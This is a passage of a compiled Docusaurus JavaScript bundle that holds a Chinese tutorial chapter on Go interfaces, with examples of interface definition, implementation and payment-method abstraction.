5ErkJggg=="},85265:(n,e,c)=>{c.d(e,{A:()=>r});const r=c.p+"assets/images/interface04-dce67b2e12962fe61b5e4d6e18724ecb.png"},99702:(n,e,c)=>{c.r(e),c.d(e,{assets:()=>a,contentTitle:()=>s,default:()=>o,frontMatter:()=>d,metadata:()=>r,toc:()=>h});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u63a5\u53e3","title":"\u63a5\u53e3","description":"\u672c\u7ae0\u5b66\u4e60\u76ee\u6807","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/16.GoLang-\u63a5\u53e3.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u63a5\u53e3","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u63a5\u53e3","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/16.GoLang-\u63a5\u53e3.md","tags":[],"version":"current","sidebarPosition":16,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u5305\u4e0e\u4f9d\u8d56\u7ba1\u7406","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5305"},"next":{"title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u53cd\u5c04","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u53cd\u5c04"}}');var l=c(74848),i=c(28453);const d={},s="\u63a5\u53e3",a={},h=[{value:"\u63a5\u53e3\u7c7b\u578b",id:"\u63a5\u53e3\u7c7b\u578b",level:2},{value:"\u63a5\u53e3\u7684\u5b9a\u4e49",id:"\u63a5\u53e3\u7684\u5b9a\u4e49",level:3},{value:"\u5b9e\u73b0\u63a5\u53e3\u7684\u6761\u4ef6",id:"\u5b9e\u73b0\u63a5\u53e3\u7684\u6761\u4ef6",level:3},{value:"\u4e3a\u4ec0\u4e48\u8981\u4f7f\u7528\u63a5\u53e3\uff1f",id:"\u4e3a\u4ec0\u4e48\u8981\u4f7f\u7528\u63a5\u53e3",level:3},{value:"\u9762\u5411\u63a5\u53e3\u7f16\u7a0b",id:"\u9762\u5411\u63a5\u53e3\u7f16\u7a0b",level:3},{value:"\u63a5\u53e3\u7c7b\u578b\u53d8\u91cf",id:"\u63a5\u53e3\u7c7b\u578b\u53d8\u91cf",level:3},{value:"\u503c\u63a5\u6536\u8005\u548c\u6307\u9488\u63a5\u6536\u8005",id:"\u503c\u63a5\u6536\u8005\u548c\u6307\u9488\u63a5\u6536\u8005",level:2},{value:"\u503c\u63a5\u6536\u8005\u5b9e\u73b0\u63a5\u53e3",id:"\u503c\u63a5\u6536\u8005\u5b9e\u73b0\u63a5\u53e3",level:3},{value:"\u6307\u9488\u63a5\u6536\u8005\u5b9e\u73b0\u63a5\u53e3",id:"\u6307\u9488\u63a5\u6536\u8005\u5b9e\u73b0\u63a5\u53e3",level:3},{value:"\u7c7b\u578b\u4e0e\u63a5\u53e3\u7684\u5173\u7cfb",id:"\u7c7b\u578b\u4e0e\u63a5\u53e3\u7684\u5173\u7cfb",level:2},{value:"\u4e00\u4e2a\u7c7b\u578b\u5b9e\u73b0\u591a\u4e2a\u63a5\u53e3",id:"\u4e00\u4e2a\u7c7b\u578b\u5b9e\u73b0\u591a\u4e2a\u63a5\u53e3",level:3},{value:"\u591a\u79cd\u7c7b\u578b\u5b9e\u73b0\u540c\u4e00\u63a5\u53e3",id:"\u591a\u79cd\u7c7b\u578b\u5b9e\u73b0\u540c\u4e00\u63a5\u53e3",level:3},{value:"\u63a5\u53e3\u7ec4\u5408",id:"\u63a5\u53e3\u7ec4\u5408",level:2},{value:"\u7a7a\u63a5\u53e3",id:"\u7a7a\u63a5\u53e3",level:2},{value:"\u7a7a\u63a5\u53e3\u7684\u5b9a\u4e49",id:"\u7a7a\u63a5\u53e3\u7684\u5b9a\u4e49",level:3},{value:"\u7a7a\u63a5\u53e3\u7684\u5e94\u7528",id:"\u7a7a\u63a5\u53e3\u7684\u5e94\u7528",level:3},{value:"\u7a7a\u63a5\u53e3\u4f5c\u4e3a\u51fd\u6570\u7684\u53c2\u6570",id:"\u7a7a\u63a5\u53e3\u4f5c\u4e3a\u51fd\u6570\u7684\u53c2\u6570",level:4},{value:"\u7a7a\u63a5\u53e3\u4f5c\u4e3amap\u7684\u503c",id:"\u7a7a\u63a5\u53e3\u4f5c\u4e3amap\u7684\u503c",level:4},{value:"\u63a5\u53e3\u503c",id:"\u63a5\u53e3\u503c",level:2},{value:"\u7c7b\u578b\u65ad\u8a00",id:"\u7c7b\u578b\u65ad\u8a00",level:2}];function t(n){const e={code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",ul:"ul",...(0,i.R)(),...n.components};return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(e.header,{children:(0,l.jsx)(e.h1,{id:"\u63a5\u53e3",children:"\u63a5\u53e3"})}),"\n",(0,l.jsx)(e.p,{children:(0,l.jsx)(e.strong,{children:"\u672c\u7ae0\u5b66\u4e60\u76ee\u6807"})}),"\n",(0,l.jsxs)(e.ul,{children:["\n",(0,l.jsx)(e.li,{children:"\u4e86\u89e3\u4e3a\u4ec0\u4e48\u9700\u8981\u63a5\u53e3\u4ee5\u53ca\u63a5\u53e3\u7684\u7279\u70b9"}),"\n",(0,l.jsx)(e.li,{children:"\u638c\u63e1\u63a5\u53e3\u7684\u58f0\u660e\u548c\u4f7f\u7528"}),"\n",(0,l.jsx)(e.li,{children:"\u638c\u63e1\u63a5\u53e3\u503c\u7684\u6982\u5ff5"}),"\n",(0,l.jsx)(e.li,{children:"\u638c\u63e1\u7a7a\u63a5\u53e3\u7684\u7279\u70b9\u53ca\u5176\u4f7f\u7528\u573a\u666f"}),"\n"]}),"\n",(0,l.jsx)(e.p,{children:"\u5728Go\u8bed\u8a00\u4e2d\u63a5\u53e3\uff08interface\uff09\u662f\u4e00\u79cd\u7c7b\u578b\uff0c\u4e00\u79cd\u62bd\u8c61\u7684\u7c7b\u578b\u3002\u76f8\u8f83\u4e8e\u4e4b\u524d\u7ae0\u8282\u4e2d\u8bb2\u5230\u7684\u90a3\u4e9b\u5177\u4f53\u7c7b\u578b\uff08\u5b57\u7b26\u4e32\u3001\u5207\u7247\u3001\u7ed3\u6784\u4f53\u7b49\uff09\u66f4\u6ce8\u91cd\u201c\u6211\u662f\u8c01\u201d\uff0c\u63a5\u53e3\u7c7b\u578b\u66f4\u6ce8\u91cd\u201c\u6211\u80fd\u505a\u4ec0\u4e48\u201d\u7684\u95ee\u9898\u3002\u63a5\u53e3\u7c7b\u578b\u5c31\u50cf\u662f\u4e00\u79cd\u7ea6\u5b9a\u2014\u2014\u6982\u62ec\u4e86\u4e00\u79cd\u7c7b\u578b\u5e94\u8be5\u5177\u5907\u54ea\u4e9b\u65b9\u6cd5\uff0c\u5728Go\u8bed\u8a00\u4e2d\u63d0\u5021\u4f7f\u7528\u9762\u5411\u63a5\u53e3\u7684\u7f16\u7a0b\u65b9\u5f0f\u5b9e\u73b0\u89e3\u8026\u3002"}),"\n",(0,l.jsx)(e.h2,{id:"\u63a5\u53e3\u7c7b\u578b",children:"\u63a5\u53e3\u7c7b\u578b"}),"\n",(0,l.jsx)(e.p,{children:"\u63a5\u53e3\u662f\u4e00\u79cd\u7531\u7a0b\u5e8f\u5458\u6765\u5b9a\u4e49\u7684\u7c7b\u578b\uff0c\u4e00\u4e2a\u63a5\u53e3\u7c7b\u578b\u5c31\u662f\u4e00\u7ec4\u65b9\u6cd5\u7684\u96c6\u5408\uff0c\u5b83\u89c4\u5b9a\u4e86\u9700\u8981\u5b9e\u73b0\u7684\u6240\u6709\u65b9\u6cd5\u3002"}),"\n",(0,l.jsx)(e.p,{children:"\u76f8\u8f83\u4e8e\u4f7f\u7528\u7ed3\u6784\u4f53\u7c7b\u578b\uff0c\u5f53\u6211\u4eec\u4f7f\u7528\u63a5\u53e3\u7c7b\u578b\u8bf4\u660e\u76f8\u6bd4\u4e8e\u5b83\u662f\u4ec0\u4e48\u66f4\u5173\u5fc3\u5b83\u80fd\u505a\u4ec0\u4e48\u3002"}),"\n",(0,l.jsx)(e.h3,{id:"\u63a5\u53e3\u7684\u5b9a\u4e49",children:"\u63a5\u53e3\u7684\u5b9a\u4e49"}),"\n",(0,l.jsx)(e.p,{children:"\u6bcf\u4e2a\u63a5\u53e3\u7c7b\u578b\u7531\u4efb\u610f\u4e2a\u65b9\u6cd5\u7b7e\u540d\u7ec4\u6210\uff0c\u63a5\u53e3\u7684\u5b9a\u4e49\u683c\u5f0f\u5982\u4e0b\uff1a"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"type \u63a5\u53e3\u7c7b\u578b\u540d interface{\n \u65b9\u6cd5\u540d1( \u53c2\u6570\u5217\u88681 ) \u8fd4\u56de\u503c\u5217\u88681\n \u65b9\u6cd5\u540d2( \u53c2\u6570\u5217\u88682 ) \u8fd4\u56de\u503c\u5217\u88682\n \u2026\n}\n"})}),"\n",(0,l.jsx)(e.p,{children:"\u5176\u4e2d\uff1a"}),"\n",(0,l.jsxs)(e.ul,{children:["\n",(0,l.jsxs)(e.li,{children:["\u63a5\u53e3\u7c7b\u578b\u540d\uff1aGo\u8bed\u8a00\u7684\u63a5\u53e3\u5728\u547d\u540d\u65f6\uff0c\u4e00\u822c\u4f1a\u5728\u5355\u8bcd\u540e\u9762\u6dfb\u52a0",(0,l.jsx)(e.code,{children:"er"}),"\uff0c\u5982\u6709\u5199\u64cd\u4f5c\u7684\u63a5\u53e3\u53eb",(0,l.jsx)(e.code,{children:"Writer"}),"\uff0c\u6709\u5173\u95ed\u64cd\u4f5c\u7684\u63a5\u53e3\u53eb",(0,l.jsx)(e.code,{children:"closer"}),"\u7b49\u3002\u63a5\u53e3\u540d\u6700\u597d\u8981\u80fd\u7a81\u51fa\u8be5\u63a5\u53e3\u7684\u7c7b\u578b\u542b\u4e49\u3002"]}),"\n",(0,l.jsx)(e.li,{children:"\u65b9\u6cd5\u540d\uff1a\u5f53\u65b9\u6cd5\u540d\u9996\u5b57\u6bcd\u662f\u5927\u5199\u4e14\u8fd9\u4e2a\u63a5\u53e3\u7c7b\u578b\u540d\u9996\u5b57\u6bcd\u4e5f\u662f\u5927\u5199\u65f6\uff0c\u8fd9\u4e2a\u65b9\u6cd5\u53ef\u4ee5\u88ab\u63a5\u53e3\u6240\u5728\u7684\u5305\uff08package\uff09\u4e4b\u5916\u7684\u4ee3\u7801\u8bbf\u95ee\u3002"}),"\n",(0,l.jsx)(e.li,{children:"\u53c2\u6570\u5217\u8868\u3001\u8fd4\u56de\u503c\u5217\u8868\uff1a\u53c2\u6570\u5217\u8868\u548c\u8fd4\u56de\u503c\u5217\u8868\u4e2d\u7684\u53c2\u6570\u53d8\u91cf\u540d\u53ef\u4ee5\u7701\u7565\u3002"}),"\n"]}),"\n",(0,l.jsxs)(e.p,{children:["\u4e3e\u4e2a\u4f8b\u5b50\uff0c\u5b9a\u4e49\u4e00\u4e2a\u5305\u542b",(0,l.jsx)(e.code,{children:"Write"}),"\u65b9\u6cd5\u7684",(0,l.jsx)(e.code,{children:"Writer"}),"\u63a5\u53e3\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"type Writer interface{\n Write([]byte) error\n}\n"})}),"\n",(0,l.jsxs)(e.p,{children:["\u5f53\u4f60\u770b\u5230\u4e00\u4e2a",(0,l.jsx)(e.code,{children:"Writer"}),"\u63a5\u53e3\u7c7b\u578b\u7684\u503c\u65f6\uff0c\u4f60\u4e0d\u77e5\u9053\u5b83\u662f\u4ec0\u4e48\uff0c\u552f\u4e00\u77e5\u9053\u7684\u5c31\u662f\u53ef\u4ee5\u901a\u8fc7\u8c03\u7528\u5b83\u7684",(0,l.jsx)(e.code,{children:"Write"}),"\u65b9\u6cd5\u6765\u505a\u4e00\u4e9b\u4e8b\u60c5\u3002"]}),"\n",(0,l.jsx)(e.h3,{id:"\u5b9e\u73b0\u63a5\u53e3\u7684\u6761\u4ef6",children:"\u5b9e\u73b0\u63a5\u53e3\u7684\u6761\u4ef6"}),"\n",(0,l.jsxs)(e.p,{children:["\u63a5\u53e3\u5c31\u662f\u89c4\u5b9a\u4e86\u4e00\u4e2a",(0,l.jsx)(e.strong,{children:"\u9700\u8981\u5b9e\u73b0\u7684\u65b9\u6cd5\u5217\u8868"}),"\uff0c\u5728 Go \u8bed\u8a00\u4e2d\u4e00\u4e2a\u7c7b\u578b\u53ea\u8981\u5b9e\u73b0\u4e86\u63a5\u53e3\u4e2d\u89c4\u5b9a\u7684\u6240\u6709\u65b9\u6cd5\uff0c\u90a3\u4e48\u6211\u4eec\u5c31\u79f0\u5b83\u5b9e\u73b0\u4e86\u8fd9\u4e2a\u63a5\u53e3\u3002"]}),"\n",(0,l.jsxs)(e.p,{children:["\u6211\u4eec\u5b9a\u4e49\u7684",(0,l.jsx)(e.code,{children:"Singer"}),"\u63a5\u53e3\u7c7b\u578b\uff0c\u5b83\u5305\u542b\u4e00\u4e2a",(0,l.jsx)(e.code,{children:"Sing"}),"\u65b9\u6cd5\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"// Singer \u63a5\u53e3\ntype Singer interface {\n\tSing()\n}\n"})}),"\n",(0,l.jsxs)(e.p,{children:["\u6211\u4eec\u6709\u4e00\u4e2a",(0,l.jsx)(e.code,{children:"Bird"}),"\u7ed3\u6784\u4f53\u7c7b\u578b\u5982\u4e0b\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"type Bird struct {}\n"})}),"\n",(0,l.jsxs)(e.p,{children:["\u56e0\u4e3a",(0,l.jsx)(e.code,{children:"Singer"}),"\u63a5\u53e3\u53ea\u5305\u542b\u4e00\u4e2a",(0,l.jsx)(e.code,{children:"Sing"}),"\u65b9\u6cd5\uff0c\u6240\u4ee5\u53ea\u9700\u8981\u7ed9",(0,l.jsx)(e.code,{children:"Bird"}),"\u7ed3\u6784\u4f53\u6dfb\u52a0\u4e00\u4e2a",(0,l.jsx)(e.code,{children:"Sing"}),"\u65b9\u6cd5\u5c31\u53ef\u4ee5\u6ee1\u8db3",(0,l.jsx)(e.code,{children:"Singer"}),"\u63a5\u53e3\u7684\u8981\u6c42\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'// Sing Bird\u7c7b\u578b\u7684Sing\u65b9\u6cd5\nfunc (b Bird) Sing() {\n\tfmt.Println("\u6c6a\u6c6a\u6c6a")\n}\n'})}),"\n",(0,l.jsxs)(e.p,{children:["\u8fd9\u6837\u5c31\u79f0\u4e3a",(0,l.jsx)(e.code,{children:"Bird"}),"\u5b9e\u73b0\u4e86",(0,l.jsx)(e.code,{children:"Singer"}),"\u63a5\u53e3\u3002"]}),"\n",(0,l.jsx)(e.h3,{id:"\u4e3a\u4ec0\u4e48\u8981\u4f7f\u7528\u63a5\u53e3",children:"\u4e3a\u4ec0\u4e48\u8981\u4f7f\u7528\u63a5\u53e3\uff1f"}),"\n",(0,l.jsx)(e.p,{children:"\u73b0\u5728\u5047\u8bbe\u6211\u4eec\u7684\u4ee3\u7801\u4e16\u754c\u91cc\u6709\u5f88\u591a\u5c0f\u52a8\u7269\uff0c\u4e0b\u9762\u7684\u4ee3\u7801\u7247\u6bb5\u5b9a\u4e49\u4e86\u732b\u548c\u72d7\uff0c\u5b83\u4eec\u997f\u4e86\u90fd\u4f1a\u53eb\u3002"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'package main\n\nimport "fmt"\n\ntype Cat struct{}\n\nfunc (c Cat) Say() {\n\tfmt.Println("\u55b5\u55b5\u55b5~")\n}\n\ntype Dog struct{}\n\nfunc (d Dog) Say() {\n\tfmt.Println("\u6c6a\u6c6a\u6c6a~")\n}\n\nfunc main() {\n\tc := Cat{}\n\tc.Say()\n\td := Dog{}\n\td.Say()\n}\n'})}),"\n",(0,l.jsx)(e.p,{children:"\u8fd9\u4e2a\u65f6\u5019\u53c8\u8dd1\u6765\u4e86\u4e00\u53ea\u7f8a\uff0c\u7f8a\u997f\u4e86\u4e5f\u4f1a\u53d1\u51fa\u53eb\u58f0\u3002"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'type Sheep struct{}\n\nfunc (s Sheep) Say() {\n\tfmt.Println("\u54a9\u54a9\u54a9~")\n}\n'})}),"\n",(0,l.jsx)(e.p,{children:"\u6211\u4eec\u63a5\u4e0b\u6765\u5b9a\u4e49\u4e00\u4e2a\u997f\u809a\u5b50\u7684\u573a\u666f\u3002"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"// MakeCatHungry \u732b\u997f\u4e86\u4f1a\u55b5\u55b5\u55b5~\nfunc MakeCatHungry(c Cat) {\n\tc.Say()\n}\n\n// MakeSheepHungry \u7f8a\u997f\u4e86\u4f1a\u54a9\u54a9\u54a9~\nfunc MakeSheepHungry(s Sheep) {\n\ts.Say()\n}\n"})}),"\n",(0,l.jsx)(e.p,{children:"\u63a5\u4e0b\u6765\u4f1a\u6709\u8d8a\u6765\u8d8a\u591a\u7684\u5c0f\u52a8\u7269\u8dd1\u8fc7\u6765\uff0c\u6211\u4eec\u7684\u4ee3\u7801\u4e16\u754c\u8be5\u600e\u4e48\u62d3\u5c55\u5462\uff1f"}),"\n",(0,l.jsxs)(e.p,{children:["\u5728\u997f\u809a\u5b50\u8fd9\u4e2a\u573a\u666f\u4e0b\uff0c\u6211\u4eec\u53ef\u4e0d\u53ef\u4ee5\u628a\u6240\u6709\u52a8\u7269\u90fd\u5f53\u6210\u4e00\u4e2a\u201c\u4f1a\u53eb\u7684\u7c7b\u578b\u201d\u6765\u5904\u7406\u5462\uff1f\u5f53\u7136\u53ef\u4ee5\uff01\u4f7f\u7528\u63a5\u53e3\u7c7b\u578b\u5c31\u53ef\u4ee5\u5b9e\u73b0\u8fd9\u4e2a\u76ee\u6807\u3002 \u6211\u4eec\u7684\u4ee3\u7801\u5176\u5b9e\u5e76\u4e0d\u5173\u5fc3\u7a76\u7adf\u662f\u4ec0\u4e48\u52a8\u7269\u5728\u53eb\uff0c\u6211\u4eec\u53ea\u662f\u5728\u4ee3\u7801\u4e2d\u8c03\u7528\u5b83\u7684",(0,l.jsx)(e.code,{children:"Say()"}),"\u65b9\u6cd5\uff0c\u8fd9\u5c31\u8db3\u591f\u4e86\u3002"]}),"\n",(0,l.jsxs)(e.p,{children:["\u6211\u4eec\u53ef\u4ee5\u7ea6\u5b9a\u4e00\u4e2a",(0,l.jsx)(e.code,{children:"Sayer"}),"\u7c7b\u578b\uff0c\u5b83\u5fc5\u987b\u5b9e\u73b0\u4e00\u4e2a",(0,l.jsx)(e.code,{children:"Say()"}),"\u65b9\u6cd5\uff0c\u53ea\u8981\u997f\u809a\u5b50\u4e86\uff0c\u6211\u4eec\u5c31\u8c03\u7528",(0,l.jsx)(e.code,{children:"Say()"}),"\u65b9\u6cd5\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"type Sayer interface {\n Say()\n}\n"})}),"\n",(0,l.jsxs)(e.p,{children:["\u7136\u540e\u6211\u4eec\u5b9a\u4e49\u4e00\u4e2a\u901a\u7528\u7684",(0,l.jsx)(e.code,{children:"MakeHungry"}),"\u51fd\u6570\uff0c\u63a5\u6536",(0,l.jsx)(e.code,{children:"Sayer"}),"\u7c7b\u578b\u7684\u53c2\u6570\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"// MakeHungry \u997f\u809a\u5b50\u4e86...\nfunc MakeHungry(s Sayer) {\n\ts.Say()\n}\n"})}),"\n",(0,l.jsxs)(e.p,{children:["\u6211\u4eec\u901a\u8fc7\u4f7f\u7528\u63a5\u53e3\u7c7b\u578b\uff0c\u628a\u6240\u6709\u4f1a\u53eb\u7684\u52a8\u7269\u5f53\u6210",(0,l.jsx)(e.code,{children:"Sayer"}),"\u7c7b\u578b\u6765\u5904\u7406\uff0c\u53ea\u8981\u5b9e\u73b0\u4e86",(0,l.jsx)(e.code,{children:"Say()"}),"\u65b9\u6cd5\u90fd\u80fd\u5f53\u6210",(0,l.jsx)(e.code,{children:"Sayer"}),"\u7c7b\u578b\u7684\u53d8\u91cf\u6765\u5904\u7406\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"var c cat\nMakeHungry(c)\nvar d dog\nMakeHungry(d)\n"})}),"\n",(0,l.jsxs)(e.p,{children:["\u5728\u7535\u5546\u7cfb\u7edf\u4e2d\u6211\u4eec\u5141\u8bb8\u7528\u6237\u4f7f\u7528\u591a\u79cd\u652f\u4ed8\u65b9\u5f0f\uff08\u652f\u4ed8\u5b9d\u652f\u4ed8\u3001\u5fae\u4fe1\u652f\u4ed8\u3001\u94f6\u8054\u652f\u4ed8\u7b49\uff09\uff0c\u6211\u4eec\u7684\u4ea4\u6613\u6d41\u7a0b\u4e2d\u53ef\u80fd\u4e0d\u592a\u5728\u4e4e\u7528\u6237\u7a76\u7adf\u4f7f\u7528\u4ec0\u4e48\u652f\u4ed8\u65b9\u5f0f\uff0c\u53ea\u8981\u5b83\u80fd\u63d0\u4f9b\u4e00\u4e2a\u5b9e\u73b0\u652f\u4ed8\u529f\u80fd\u7684",(0,l.jsx)(e.code,{children:"Pay"}),"\u65b9\u6cd5\u8ba9\u8c03\u7528\u65b9\u8c03\u7528\u5c31\u53ef\u4ee5\u4e86\u3002"]}),"\n",(0,l.jsxs)(e.p,{children:["\u518d\u6bd4\u5982\u6211\u4eec\u9700\u8981\u5728\u67d0\u4e2a\u7a0b\u5e8f\u4e2d\u6dfb\u52a0\u4e00\u4e2a\u5c06\u67d0\u4e9b\u6307\u6807\u6570\u636e\u5411\u5916\u8f93\u51fa\u7684\u529f\u80fd\uff0c\u6839\u636e\u4e0d\u540c\u7684\u9700\u6c42\u53ef\u80fd\u8981\u5c06\u6570\u636e\u8f93\u51fa\u5230\u7ec8\u7aef\u3001\u5199\u5165\u5230\u6587\u4ef6\u6216\u8005\u901a\u8fc7\u7f51\u7edc\u8fde\u63a5\u53d1\u9001\u51fa\u53bb\u3002\u5728\u8fd9\u4e2a\u573a\u666f\u4e0b\u6211\u4eec\u53ef\u4ee5\u4e0d\u5173\u6ce8\u6700\u7ec8\u8f93\u51fa\u7684\u76ee\u7684\u5730\u662f\u4ec0\u4e48\uff0c\u53ea\u9700\u8981\u5b83\u80fd\u63d0\u4f9b\u4e00\u4e2a",(0,l.jsx)(e.code,{children:"Write"}),"\u65b9\u6cd5\u8ba9\u6211\u4eec\u628a\u5185\u5bb9\u5199\u5165\u5c31\u53ef\u4ee5\u4e86\u3002"]}),"\n",(0,l.jsx)(e.p,{children:"Go\u8bed\u8a00\u4e2d\u4e3a\u4e86\u89e3\u51b3\u7c7b\u4f3c\u4e0a\u9762\u7684\u95ee\u9898\u5f15\u5165\u4e86\u63a5\u53e3\u7684\u6982\u5ff5\uff0c\u63a5\u53e3\u7c7b\u578b\u533a\u522b\u4e8e\u6211\u4eec\u4e4b\u524d\u7ae0\u8282\u4e2d\u4ecb\u7ecd\u7684\u90a3\u4e9b\u5177\u4f53\u7c7b\u578b\uff0c\u8ba9\u6211\u4eec\u4e13\u6ce8\u4e8e\u8be5\u7c7b\u578b\u63d0\u4f9b\u7684\u65b9\u6cd5\uff0c\u800c\u4e0d\u662f\u7c7b\u578b\u672c\u8eab\u3002\u4f7f\u7528\u63a5\u53e3\u7c7b\u578b\u901a\u5e38\u80fd\u591f\u8ba9\u6211\u4eec\u5199\u51fa\u66f4\u52a0\u901a\u7528\u548c\u7075\u6d3b\u7684\u4ee3\u7801\u3002"}),"\n",(0,l.jsx)(e.h3,{id:"\u9762\u5411\u63a5\u53e3\u7f16\u7a0b",children:"\u9762\u5411\u63a5\u53e3\u7f16\u7a0b"}),"\n",(0,l.jsx)(e.p,{children:"PHP\u3001Java\u7b49\u8bed\u8a00\u4e2d\u4e5f\u6709\u63a5\u53e3\u7684\u6982\u5ff5\uff0c\u4e0d\u8fc7\u5728PHP\u548cJava\u8bed\u8a00\u4e2d\u9700\u8981\u663e\u5f0f\u58f0\u660e\u4e00\u4e2a\u7c7b\u5b9e\u73b0\u4e86\u54ea\u4e9b\u63a5\u53e3\uff0c\u5728Go\u8bed\u8a00\u4e2d\u4f7f\u7528\u9690\u5f0f\u58f0\u660e\u7684\u65b9\u5f0f\u5b9e\u73b0\u63a5\u53e3\u3002\u53ea\u8981\u4e00\u4e2a\u7c7b\u578b\u5b9e\u73b0\u4e86\u63a5\u53e3\u4e2d\u89c4\u5b9a\u7684\u6240\u6709\u65b9\u6cd5\uff0c\u90a3\u4e48\u5b83\u5c31\u5b9e\u73b0\u4e86\u8fd9\u4e2a\u63a5\u53e3\u3002"}),"\n",(0,l.jsx)(e.p,{children:"Go\u8bed\u8a00\u4e2d\u7684\u8fd9\u79cd\u8bbe\u8ba1\u7b26\u5408\u7a0b\u5e8f\u5f00\u53d1\u4e2d\u62bd\u8c61\u7684\u4e00\u822c\u89c4\u5f8b\uff0c\u4f8b\u5982\u5728\u4e0b\u9762\u7684\u4ee3\u7801\u793a\u4f8b\u4e2d\uff0c\u6211\u4eec\u7684\u7535\u5546\u7cfb\u7edf\u6700\u5f00\u59cb\u53ea\u8bbe\u8ba1\u4e86\u652f\u4ed8\u5b9d\u4e00\u79cd\u652f\u4ed8\u65b9\u5f0f\uff1a"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'type ZhiFuBao struct {\n\t// \u652f\u4ed8\u5b9d\n}\n\n// Pay \u652f\u4ed8\u5b9d\u7684\u652f\u4ed8\u65b9\u6cd5\nfunc (z *ZhiFuBao) Pay(amount int64) {\n fmt.Printf("\u4f7f\u7528\u652f\u4ed8\u5b9d\u4ed8\u6b3e\uff1a%.2f\u5143\u3002\\n", float64(amount/100))\n}\n\n// Checkout \u7ed3\u8d26\nfunc Checkout(obj *ZhiFuBao) {\n\t// \u652f\u4ed8100\u5143\n\tobj.Pay(100)\n}\n\nfunc main() {\n\tCheckout(&ZhiFuBao{})\n}\n'})}),"\n",(0,l.jsx)(e.p,{children:"\u968f\u7740\u4e1a\u52a1\u7684\u53d1\u5c55\uff0c\u6839\u636e\u7528\u6237\u9700\u6c42\u6dfb\u52a0\u652f\u6301\u5fae\u4fe1\u652f\u4ed8\u3002"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'type WeChat struct {\n\t// \u5fae\u4fe1\n}\n\n// Pay \u5fae\u4fe1\u7684\u652f\u4ed8\u65b9\u6cd5\nfunc (w *WeChat) Pay(amount int64) {\n\tfmt.Printf("\u4f7f\u7528\u5fae\u4fe1\u4ed8\u6b3e\uff1a%.2f\u5143\u3002\\n", float64(amount/100))\n}\n'})}),"\n",(0,l.jsx)(e.p,{children:"\u5728\u5b9e\u9645\u7684\u4ea4\u6613\u6d41\u7a0b\u4e2d\uff0c\u6211\u4eec\u53ef\u4ee5\u6839\u636e\u7528\u6237\u9009\u62e9\u7684\u652f\u4ed8\u65b9\u5f0f\u6765\u51b3\u5b9a\u6700\u7ec8\u8c03\u7528\u652f\u4ed8\u5b9d\u7684Pay\u65b9\u6cd5\u8fd8\u662f\u5fae\u4fe1\u652f\u4ed8\u7684Pay\u65b9\u6cd5\u3002"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"// Checkout \u652f\u4ed8\u5b9d\u7ed3\u8d26\nfunc CheckoutWithZFB(obj *ZhiFuBao) {\n\t// \u652f\u4ed8100\u5143\n\tobj.Pay(100)\n}\n\n// Checkout \u5fae\u4fe1\u652f\u4ed8\u7ed3\u8d26\nfunc CheckoutWithWX(obj *WeChat) {\n\t// 